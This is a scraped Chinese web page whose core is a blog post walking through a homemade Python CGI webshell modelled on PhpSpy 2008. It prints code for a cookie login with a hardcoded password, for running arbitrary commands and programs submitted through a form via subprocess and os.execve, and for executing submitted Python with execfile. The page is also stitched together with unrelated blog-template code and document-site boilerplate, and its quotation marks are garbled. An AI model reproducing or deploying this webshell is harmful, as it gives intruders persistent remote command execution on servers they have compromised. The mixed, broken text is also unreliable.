python textarea用法有什么用

访问手机版
小额赞助博主
觉得此博客对你有帮助,支付宝扫码赞助
其他分类:2774人阅读
& &最近在研究WebShell,于是打算写一个Python版的WebShell,使用的是cgi, Apache配置文件http.conf需做如下:
我的cgi脚本放到F:\py_cgi目录下,其中cgi-script指定脚本后缀名,例如
AddHandler cgi-script .py
ScriptAlias /cgi-bin/ &F:/py_cgi/&
&Directory &F:/py_cgi&&
AllowOverride None
Options All
Order allow,deny
Allow from all
&/Directory&
这个WebShel0l实现模仿了PhpSpy 2008,但功能没有那么强大,我会利用业余时间慢慢加强,下面先看看效果。
经典的登录框:密码默认:123456
首页显示: 其中文件管理是最烦的,目前只有显示功能,其余操作,等待添加
下面这是命令执行,支持调用程序传递参数,支持执行命令
这是一些系统信息,貌似通过cgi模块,很多变量获取不到,我也没做特殊处理(ps,偷偷懒)
下面是执行python命令
下面将介绍各个模块实现。
有一些全局变量和函数需要说明:
from os import environ
form = cgi.FieldStorage()
# ===================== 程序配置 =====================
# 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
admin['check'] = True
admin['pass'] = '123456'
# 如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
# cookie 前缀
admin['cookiepre'] = '';
# cookie 作用域
admin['cookiedomain'] = '';
# cookie 作用路径
admin['cookiepath'] = '/';
# cookie 有效期
admin['cookielife'] = 86400;
# ===================== 配置结束 =====================
self = os.path.basename(__file__)
timestamp = time.time()
def getcookie(key):
if environ.has_key('HTTP_COOKIE'):
for cookie in environ['HTTP_COOKIE'].split(';'):
k , v = cookie.split('=')
if key == k:
def getvalue(key):
if form.has_key(key):
return form.getvalue(key)
return &&Cookie是存储在CGI环境变量HTTP_COOKIE的,他们将有以下的形式.
key1=value1;key2=value2;key3=value3....
如果对Python cgi不熟悉的可以参考这篇博文:(ps:里面也有一些小错误,需要注意)
登陆支持cookie,可以启用验证和关闭验证,代码如下:
def login():
if admin[&check&]:
if getvalue(&doing&) == &login&:
if admin[&pass&] == getvalue(&password&):
print &Set-Cookie:Pyspypass=%s& % admin[&pass&]
#print &Set-Cookie:Expires=Tuesday, 31-Dec-:40 GMT&
print &Content-type:text/html&
if getcookie('Pyspypass') != admin['pass']:
print &Content-type:text/html&
loginpage()
print &Content-type:text/html&
其中getvalue是获取表单参数,getcookie是获取cookie信息。
命令执行是通过subprocess.Popen和os.execve实现,比较简单,代码如下:
def do_shell():
log = &/c net start & %s%slog.txt& %(os.getcwd(),os.sep)
if sys.platform == &win32&:
path ,args ,com = &c:\windows\system32\cmd.exe& ,log ,&ipconfig&
elif sys.platform == &linux2&:
path ,args ,com = &/bin/bash& ,&--help& ,&ifconfig&
path ,args ,com = && ,&& ,&&
shell_cmd = getvalue(&command&).strip()
shell_pro = getvalue(&program&).strip()
is_cmd = True if shell_cmd !=&& else False
is_pro = True if shell_pro !=&& else False
program = shell_pro or path
parameter = getvalue(&parameter&).strip() or args
shell_cmd or com
result = &&
if is_cmd:
p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
result = &&.join(p.stdout.readlines())
shell = &&&
&table width=&100%%& border=&0& cellpadding=&15& cellspacing=&0&&&tr&&td&
&form name=&form1& id=&form1& action=&& method=&post& &
&h2&Execute Program >>&/h2&
&input id=&action& type=&hidden& name=&action& value=&shell& /&
&p&Program&br /&&input class=&input& name=&program& id=&program& value=&%s& type=&text& size=&100&
Parameter&br /&&input class=&input& name=&parameter& id=&parameter& value=&%s& type=&text& size=&100&
&input class=&bt& name=&submit& id=&submit& value=&Execute& type=&submit& size=&100&
&form name=&form1& id=&form1& action=&& method=&post& &
&h2&Execute Command >>&/h2&
&input id=&action& type=&hidden& name=&action& value=&shell& /&
&p&Command&br /&&input class=&input& name=&command& id=&command& value=&%s& type=&text& size=&100&
&input class=&bt& name=&submit& id=&submit& value=&Execute& type=&submit& size=&100&
&pre& %s &/pre&
&/td&&/tr&
&&& % (program,parameter,command,result)
print shell
if is_pro:
os.execve(program, parameter.split(), os.environ)python命令执行通过execfile实现:
def do_eval():
code = getvalue(&pythoncode&)
tmp = open(&temp.py&,&w&)
tmp.write(code)
tmp.close()
file=StringIO.StringIO()
if code != &&:
stdout=sys.stdout
sys.stdout=file
execfile(&temp.py&)
except Exception,e:
file.write(str(e))
sys.stdout=stdout
os.remove(&temp.py&)
eval = &&&
&table width=&100%%& border=&0& cellpadding=&15& cellspacing=&0&&&tr&&td&
&form name=&form1& id=&form1& action=&& method=&post& &
&h1& &pre&%s&/pre& &/h1&
&h2&Eval Python Code >>&/h2&
&input id=&action& type=&hidden& name=&action& value=&eval& /&
&p&Python Code&br /&&textarea class=&area& id=&phpcode& name=&pythoncode& cols=&100& rows=&15& &%s&/textarea&&/p&
&p&&input class=&bt& name=&submit& id=&submit& type=&submit& value=&Submit&&&/p&
&/td&&/tr&&/table&
&&& % (file.getvalue(),code)
print eval
为了获取执行的结果,我们将标准输出重定向到内存(StringIO),StringIO相当好用。本来是用exec实现的,但发现在执行时需要处理缩进,太复杂了。
所有的调度是通过do_handler函数实现的。
def handler():
action = getvalue(&action&)
if action == && or action == &file&:
elif action == &shell&:
do_shell()
elif action == &env&:
elif action == &eval&:
很简单,具体原理主要是通过点击超链接,通过js调用隐形表单,cgi.form获取“action”值。由于WebShell需要在一个文件中,所以使用了很多的隐形表单,不然不好区分不同的操作。
文件操作中获取权限代码如下:
def getPerms(path):
group = {}
other = {}
mode = os.stat(path)[stat.ST_MODE]
perm = oct(mode)[-4:]
if stat.S_ISDIR(mode):
type = 'd'
elif stat.S_ISLNK(mode):
type = 'l'
elif stat.S_ISCHR(mode):
type = 'c'
elif stat.S_ISBLK(mode):
type = 'b'
elif stat.S_ISREG(mode):
type = '-'
elif stat.S_ISFIFO(mode):
type = 'p'
elif stat.S_ISSOCK(mode):
type = 's'
type = '?'
user['read'] = 'r' if (mode & 00400) else '-'
user['write'] = 'w' if (mode & 00200) else '-'
user['execute'] = 'x' if (mode & 00100) else '-'
group['read'] = 'r' if (mode & 00040) else '-'
group['write'] = 'w' if (mode & 00020) else '-'
group['execute'] = 'x' if (mode & 00010) else '-'
other['read'] = 'r' if (mode & 00004) else '-'
other['write'] = 'w' if (mode & 00002) else '-'
other['execute'] = 'x' if (mode & 00001) else '-'
return perm,type+user['read']+user['write']+user['execute']+group['read']+group['write']+group['execute']+other['read']+other['write']+other['execute']
所有代码如下,文件操作模块比较乱,功能有待加强,代码还不完整。
&代码下载:
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:257126次
积分:3801
积分:3801
排名:第3049名
原创:100篇
转载:11篇
评论:146条
阅读:12592
文章:15篇
阅读:39292
阅读:14637
(2)(2)(2)(4)(2)(1)(2)(6)(4)(5)(3)(1)(3)(7)(5)(1)(1)(3)(3)(2)(5)(4)(7)(7)(11)(8)(7)(5)(1)温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!&&|&&
我和你们不一样,我不看别人自我介绍!
LOFTER精选
阅读(3178)|
用微信&&“扫一扫”
将文章分享到朋友圈。
用易信&&“扫一扫”
将文章分享到朋友圈。
历史上的今天
loftPermalink:'',
id:'fks_',
blogTitle:'python 的print的重定向',
blogAbstract:'有时需要把print的内容输出到变量储存起来,比如调用别人的脚本,别人结果都是print出来的。有2种办法,第一种是先重定向到文件,再load回来,第二种是直接用一个objec 的write方法纪录下来,记得最后要重新定向stdout:
&temp = sys.stdoutsys.stdout = open(\'.server_all\',\'w\')print 1,2,3 # 测试,之后可以检查下.server_all 文件sys.stdout.close()sys.stdout = temp #resotre printprint 1,2,3 # 测试
方法二:',
blogTag:'',
blogUrl:'blog/static/',
isPublished:1,
istop:false,
modifyTime:0,
publishTime:2,
permalink:'blog/static/',
commentCount:0,
mainCommentCount:0,
recommendCount:0,
bsrk:-100,
publisherId:0,
recomBlogHome:false,
currentRecomBlog:false,
attachmentsFileIds:[],
groupInfo:{},
friendstatus:'none',
followstatus:'unFollow',
pubSucc:'',
visitorProvince:'',
visitorCity:'',
visitorNewUser:false,
postAddInfo:{},
mset:'000',
remindgoodnightblog:false,
isBlackVisitor:false,
isShowYodaoAd:false,
hostIntro:'我和你们不一样,我不看别人自我介绍!',
hmcon:'0',
selfRecomBlogCount:'0',
lofter_single:''
{list a as x}
{if x.moveFrom=='wap'}
{elseif x.moveFrom=='iphone'}
{elseif x.moveFrom=='android'}
{elseif x.moveFrom=='mobile'}
${a.selfIntro|escape}{if great260}${suplement}{/if}
{list a as x}
推荐过这篇日志的人:
{list a as x}
{if !!b&&b.length>0}
他们还推荐了:
{list b as y}
转载记录:
{list d as x}
{list a as x}
{list a as x}
{list a as x}
{list a as x}
{if x_index>4}{break}{/if}
${fn2(x.publishTime,'yyyy-MM-dd HH:mm:ss')}
{list a as x}
{if !!(blogDetail.preBlogPermalink)}
{if !!(blogDetail.nextBlogPermalink)}
{list a as x}
{if defined('newslist')&&newslist.length>0}
{list newslist as x}
{if x_index>7}{break}{/if}
{list a as x}
{var first_option =}
{list x.voteDetailList as voteToOption}
{if voteToOption==1}
{if first_option==false},{/if}&&“${b[voteToOption_index]}”&&
{if (x.role!="-1") },“我是${c[x.role]}”&&{/if}
&&&&&&&&${fn1(x.voteTime)}
{if x.userName==''}{/if}
网易公司版权所有&&
{list x.l as y}
{if defined('wl')}
{list wl as x}{/list}python复习资料复习,资料,讲义
扫扫二维码,随身浏览文档
手机或平板扫扫即可继续访问
python复习资料
举报该文档为侵权文档。
举报该文档含有违规或不良信息。
反馈该文档无法正常浏览。
举报该文档为重复文档。
推荐理由:
将文档分享至:
分享完整地址
文档地址:
粘贴到BBS或博客
flash地址:
支持嵌入FLASH地址的网站使用
html代码:
&embed src='/DocinViewer-4.swf' width='100%' height='600' type=application/x-shockwave-flash ALLOWFULLSCREEN='true' ALLOWSCRIPTACCESS='always'&&/embed&
450px*300px480px*400px650px*490px
支持嵌入HTML代码的网站使用
您的内容已经提交成功
您所提交的内容需要审核后才能发布,请您等待!
3秒自动关闭窗口

我要回帖

更多关于 textarea没有滚动条 的文章

 

随机推荐